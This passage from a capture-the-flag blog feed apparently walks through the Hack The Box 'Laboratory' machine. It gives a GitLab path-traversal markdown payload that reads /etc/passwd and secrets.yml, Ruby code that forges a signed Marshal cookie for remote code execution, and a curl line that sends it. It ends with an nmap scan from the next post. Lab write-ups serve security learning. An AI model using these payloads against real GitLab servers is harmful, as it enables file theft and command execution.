<div class="language-json line-numbers-mode" data-highlighter="shiki" data-ext="json" data-title="json" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  {</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"id"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"name"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Dexter McPherson"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"username"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"dexter"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"state"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"active"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"avatar_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/uploads/-/system/user/avatar/1/avatar.png"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"web_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/dexter"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"status_tooltip_html"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"path"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/dexter"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">},</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  {</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"id"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">5</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"name"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Meteor"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"username"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"onething"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"state"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"active"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"avatar_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"web_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/onething"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"status_tooltip_html"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"path"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/onething"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">},</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  {</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"id"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"name"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Seven"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"username"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"seven"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"state"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"active"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"avatar_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/uploads/-/system/user/avatar/4/avatar.png"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"web_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/seven"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"status_tooltip_html"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"path"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/seven"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">},</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  {</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"id"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">6</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"name"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"hophouse"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"username"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"hophouse"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"state"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"active"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"avatar_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"web_url"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://git.laboratory.htb/hophouse"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"status_tooltip_html"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75">"path"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"/hophouse"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>We know that 2 users already exist on the system :</p>
<ul>
<li><code>dexter</code></li>
<li><code>seven</code></li>
<li><code>onething</code></li>
<li><code>hophouse</code> (us)</li>
</ul>
<h3>Arbitrary file read</h3>
<p>This version of Gitlab seems to be impacted by a lot of vulnerabilities. <em>William Bowling</em> alias <strong>vakzz</strong> published a report on the HackerOne application <a href="https://hackerone.com/reports/827052" target="_blank" rel="noopener noreferrer">https://hackerone.com/reports/827052</a>.
One is an arbitrary file read for authenticated users. Files can be read on the system. To do so, a connected user needs to open an issue on a project and add the following markdown code :</p>
<div class="language-markdown line-numbers-mode" data-highlighter="shiki" data-ext="markdown" data-title="markdown" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">![</span><span style="--shiki-light:#032F62;--shiki-light-text-decoration:underline;--shiki-dark:#61AFEF;--shiki-dark-text-decoration:inherit">a</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">(</span><span style="--shiki-light:#24292E;--shiki-light-text-decoration:underline;--shiki-dark:#C678DD;--shiki-dark-text-decoration:underline">/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..[FILE]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">)</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Once the issue submitted if the issue is moved to another project, then an arbitrary file read will append and if the local file exists, it will be available.</p>
<p>We can try to read the <code>/etc/passwd</code> file. Two projects were created : <code>p1</code> and <code>p2</code>. An issue was created on the first one.
</p>
<p>The link is pointing to <code>https://git.laboratory.htb/etc/passwd</code>. Then the issue is moved to <code>p2</code>, and then the issue was visited.</p>
<figure><figcaption></figcaption></figure>
<p>The file can be downloaded and read :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>root:x:0:0:root:/root:/bin/bash</span></span>
<span class="line"><span>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</span></span>
<span class="line"><span>bin:x:2:2:bin:/bin:/usr/sbin/nologin</span></span>
<span class="line"><span>sys:x:3:3:sys:/dev:/usr/sbin/nologin</span></span>
<span class="line"><span>sync:x:4:65534:sync:/bin:/bin/sync</span></span>
<span class="line"><span>games:x:5:60:games:/usr/games:/usr/sbin/nologin</span></span>
<span class="line"><span>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</span></span>
<span class="line"><span>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</span></span>
<span class="line"><span>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</span></span>
<span class="line"><span>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</span></span>
<span class="line"><span>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</span></span>
<span class="line"><span>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</span></span>
<span class="line"><span>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin</span></span>
<span class="line"><span>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</span></span>
<span class="line"><span>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</span></span>
<span class="line"><span>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin</span></span>
<span class="line"><span>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</span></span>
<span class="line"><span>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</span></span>
<span class="line"><span>systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false</span></span>
<span class="line"><span>systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false</span></span>
<span class="line"><span>systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false</span></span>
<span class="line"><span>systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false</span></span>
<span class="line"><span>_apt:x:104:65534::/nonexistent:/bin/false</span></span>
<span class="line"><span>sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin</span></span>
<span class="line"><span>git:x:998:998::/var/opt/Gitlab:/bin/sh</span></span>
<span class="line"><span>Gitlab-www:x:999:999::/var/opt/Gitlab/nginx:/bin/false</span></span>
<span class="line"><span>Gitlab-redis:x:997:997::/var/opt/Gitlab/redis:/bin/false</span></span>
<span class="line"><span>Gitlab-psql:x:996:996::/var/opt/Gitlab/postgresql:/bin/sh</span></span>
<span class="line"><span>mattermost:x:994:994::/var/opt/Gitlab/mattermost:/bin/sh</span></span>
<span class="line"><span>registry:x:993:993::/var/opt/Gitlab/registry:/bin/sh</span></span>
<span class="line"><span>Gitlab-prometheus:x:992:992::/var/opt/Gitlab/prometheus:/bin/sh</span></span>
<span class="line"><span>Gitlab-consul:x:991:991::/var/opt/Gitlab/consul:/bin/sh</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>However, it looks like not sensitive information can be retrieved this way. Information at the root of the Gitlab folder was searched but without success.</p>
<p>Finally, it looked like a dead end.</p>
<h3>Authenticated Remote Code Execution</h3>
<h4>Test settings</h4>
<p>After digging a little bit further into <strong>vakzz</strong>'s report (<a href="https://hackerone.com/reports/827052" target="_blank" rel="noopener noreferrer">https://hackerone.com/reports/827052</a>), he suggests in one comment that the vulnerability could be turned into a <strong>Remote Code Execution (RCE)</strong> vulnerability if the parameter <code>cookie_serializer</code> is at its default value <code>:hybrid</code>.</p>
<p>In fact, via the arbitrary file read, the <code>secret_key_base</code> located into <code>/opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.yml</code> can be retrieved. By setting a local instance and using the same key, it is possible to craft a <code>experimentation_subject_id</code> cookie. This cookie, when unmarshalled allows the owner to execute commands on the system.</p>
<p>The  <code>experimentation_subject_id</code> cookie can be generated with the following command into the <code>rails console</code> :</p>
<div class="language-ruby line-numbers-mode" data-highlighter="shiki" data-ext="ruby" data-title="ruby" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">request</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> = </span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">ActionDispatch</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">::</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">Request</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#61AFEF">new</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">Rails</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">application</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">env_config</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">request.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">env</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"action_dispatch.cookies_serializer"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">marshal</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">cookies</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> = request.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cookie_jar</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">erb</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> = </span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">ERB</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#61AFEF">new</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"&lt;%= `echo vakzz was here &gt; /tmp/vakzz` %&gt;"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#E36209;--shiki-dark:#E06C75">depr</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> = </span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">ActiveSupport</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">::</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">Deprecation</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">::</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">DeprecatedInstanceVariableProxy</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#61AFEF">new</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(erb, </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">result</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"@result"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">ActiveSupport</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">::</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B">Deprecation</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#61AFEF">new</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">cookies.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">signed</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">cookie</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> depr</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">puts</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> cookies[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">cookie</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Cookie can then be sent and code is executed :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>curl -vvv 'http://Gitlab-vm.local/users/sign_in' -b "experimentation_subject_id=BAhv[...]b06"</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><h4>Test reports</h4>
<h5>Retrieve the <code>secret_key_base</code></h5>
<p>Like it was done before, the arbitrary file read vulnerability was used to retrieve the content of the file <code>secrets.yml</code> located into <code>/opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.yml</code>.</p>
<p>The payload used in the issue was the following one :</p>
<div class="language-markdown line-numbers-mode" data-highlighter="shiki" data-ext="markdown" data-title="markdown" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">![</span><span style="--shiki-light:#032F62;--shiki-light-text-decoration:underline;--shiki-dark:#61AFEF;--shiki-dark-text-decoration:inherit">a</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">(</span><span style="--shiki-light:#24292E;--shiki-light-text-decoration:underline;--shiki-dark:#C678DD;--shiki-dark-text-decoration:underline">/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/Gitlab/embedded/service/Gitlab-rails/config/secrets.yml</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">)</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The issue was moved, and the content of <code>secrets.yml</code> was retrieved.</p>
<div class="language-yml line-numbers-mode" data-highlighter="shiki" data-ext="yml" data-title="yml" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># This file is managed by Gitlab-ctl. Manual changes will be</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># erased! To change the contents below, edit /etc/Gitlab/Gitlab.rb</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># and run `sudo Gitlab-ctl reconfigure`.</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Love</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Love.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Love.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Love</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 21 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">135/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  msrpc</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">139/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  netbios-ssn</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">443/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  https</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">445/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  microsoft-ds</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">3306/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  mysql</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5000/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  upnp</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5040/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  unknown</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5985/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  wsman</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">5986/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  wsmans</span></span>
